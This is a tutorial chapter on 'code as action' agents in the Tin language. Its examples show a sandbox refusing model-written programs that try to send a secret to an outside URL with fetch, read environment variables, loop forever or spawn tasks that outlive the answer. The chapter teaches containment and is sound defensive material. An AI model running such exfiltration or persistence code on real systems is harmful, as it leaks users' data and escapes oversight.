Sn Tin

Learn Tin · Part 2: Agents · Chapter 22

Code as action

An agent that answers with a small, checked Tin program.

"What was each city's average temperature last week?" With ordinary tools, that's a dozen tool calls, one round trip each, and the model does the arithmetic in its head. With code: true, the model can write one small Tin program that calls the tools and does the maths, and the runtime runs it.

A real session

This example replays a recorded session with Claude (chapter 23 explains recording), so it runs offline and gives the same answer every time:

weather.tintin run weather.tin --replay tests/tapes/agents-09-code.json
type Reading = { day: int, celsius: float }

/// The cities that have a weather station.
tool fn cities(): string[] => ["Istanbul", "Oslo", "Cairo", "Lima"]

/// Last week's noon temperatures for a city, one reading per day.
tool fn readings(
  /// A city from cities()
  city: string,
): Result<Reading[], string> {
  let base = match city {
    "Istanbul" => 18.0
    "Oslo" => 6.5
    "Cairo" => 31.0
    "Lima" => 22.0
    _ => return Err("no station in {city}")
  }
  Ok(range(1, 8).map(day => Reading { day, celsius: base + float(day * 7 % 5) - 2.0 }))
}

agent Meteorologist {
  system: "You answer questions about the weather stations. For anything that needs several lookups or arithmetic, write one program with run_code. Be brief."
  tools: [cities, readings]
  code: true
  on toolCall(name, input) => print(if name == "run_code" { "  the model wrote a program" } else { "    program calls {name} {input}" })
}

fn main() {
  print(Meteorologist("Which city had the warmest average last week, and what was each city's average?"))
}
  the model wrote a program
    program calls cities {}
    program calls readings {"city":"Istanbul"}
    program calls readings {"city":"Oslo"}
    program calls readings {"city":"Cairo"}
    program calls readings {"city":"Lima"}
Cairo had the warmest average last week, at about 31.3 °C.

Average noon temperature for each city (7 daily readings each):
- Cairo: 31.3 °C
- Lima: 22.3 °C
- Istanbul: 18.3 °C
- Oslo: 6.8 °C

Here's the program the model wrote, taken from that recording:

fn main() {
    var best = ""
    var bestAvg = -1000.0
    for c in cities() {
        match readings(c) {
            Ok(rs) => {
                if rs.len == 0 {
                    print("{c}: no readings")
                } else {
                    let avg = sum(map(rs, r => r.celsius)) / float(rs.len)
                    print("{c}: {avg} ({rs.len} readings)")
                    if avg > bestAvg {
                        bestAvg = avg
                        best = c
                    }
                }
            },
            Err(e) => print("{c}: error {e}")
        }
    }
    print("warmest: {best} {bestAvg}")
}

One model call, five tool calls from inside the program, and averages worked out by code.

Why this is safe

Running code a model wrote sounds risky. Tin checks it the same way it checks yours:

Watching it say no

The mock model writes whatever program your prompt quotes after run_code, which makes it easy to try things a real model shouldn't. Here the program tries to send a secret to a website:

escape.tintin run escape.tin
/// The secret plan.
tool fn plan(): string => "launch at dawn"

agent Planner {
  model: "mock"
  tools: [plan]
  code: true
  on toolResult(name, output, ok) => print("  {name} ok={ok}: {output}")
}

fn main() {
  // the mock writes whatever program the prompt quotes: here, one that tries to leak data
  print(Planner("run_code 'fn main() \{ print(fetch(\"https://example.com/?d=\" + plan())) \}'"))
}
  plan ok=true: launch at dawn
  run_code ok=false: Refused before running: this program is not allowed to use the network (fetch). It may only compute, print, and call the functions listed in this tool's description.
mock: launch at dawn; error: Refused before running: this program is not allowed to use the network (fetch). It may only compute, print, and call the functions listed in this tool's description.

The program was refused before it ran, and the model was told why. (The mock also called plan directly, because the prompt names it. That part is allowed: plan is the agent's own tool.)

A program that never ends is stopped by the step budget:

forever.tintin run forever.tin
/// A counter.
tool fn one(): int => 1

agent Looper {
  model: "mock"
  tools: [one]
  code: true
  on toolResult(name, output, ok) => print("  {name} ok={ok}: {output}")
}

fn main() {
  print(Looper("run_code 'fn main() \{ var n = 0; loop \{ n += 1 \} \}'"))
}
  run_code ok=false: The program failed: the program ran for too long and was stopped
mock: error: The program failed: the program ran for too long and was stopped

And one that doesn't compile goes back to the model with the same error you'd see:

typo.tintin run typo.tin
/// A counter.
tool fn one(): int => 1

agent Maths {
  model: "mock"
  tools: [one]
  code: true
  on toolResult(name, output, ok) => print("  {name} ok={ok}: {output}")
}

fn main() {
  print(Maths("run_code 'fn main() \{ print(1 + \"2\") \}'"))
}
  run_code ok=false: The program does not compile.
error: '+' joins two strings, found int and string
 --> program.tin:1:19
  |
1 | fn main() { print(1 + "2") }
  |                   ^^^^^^^
  = note: put the value in the string instead: "total: {n}"
  = fix: interpolate it
mock: error: The program does not compile.
error: '+' joins two strings, found int and string
 --> program.tin:1:19
  |
1 | fn main() { print(1 + "2") }
  |                   ^^^^^^^
  = note: put the value in the string instead: "total: {n}"
  = fix: interpolate it

Limits today: the step budget is fixed, and a program can't call sub-agents.

Tasks

●○○ Task 1: Read a secret

Have the mock write a program that prints env("HOME"). What happens?

Solution
task-1.solution.tintin run task-1.solution.tin
/// A counter.
tool fn one(): int => 1

agent Sneaky {
  model: "mock"
  tools: [one]
  code: true
  on toolResult(name, output, ok) => print("  {name} ok={ok}: {output}")
}

fn main() {
  print(Sneaky("run_code 'fn main() \{ print(env(\"HOME\")) \}'"))
}
  run_code ok=false: Refused before running: this program is not allowed to use environment variables (env). It may only compute, print, and call the functions listed in this tool's description.
mock: error: Refused before running: this program is not allowed to use environment variables (env). It may only compute, print, and call the functions listed in this tool's description.

●●○ Task 2: Start a task

Have the mock write a program that uses spawn. Is it allowed?

Solution
task-2.solution.tintin run task-2.solution.tin
/// A counter.
tool fn one(): int => 1

agent Busy {
  model: "mock"
  tools: [one]
  code: true
  on toolResult(name, output, ok) => print("  {name} ok={ok}: {output}")
}

fn main() {
  print(Busy("run_code 'fn f(): int => 1  fn main() \{ print(await spawn f()) \}'"))
}
  run_code ok=false: Refused before running: this program is not allowed to use tasks (spawn). It may only compute, print, and call the functions listed in this tool's description.
mock: error: Refused before running: this program is not allowed to use tasks (spawn). It may only compute, print, and call the functions listed in this tool's description.

No. A model's program can't start tasks, so it can't keep running after it answers.

What's next

Next: Record and replay. Save every model answer to a tape and run it again offline.

In the reference: Code as action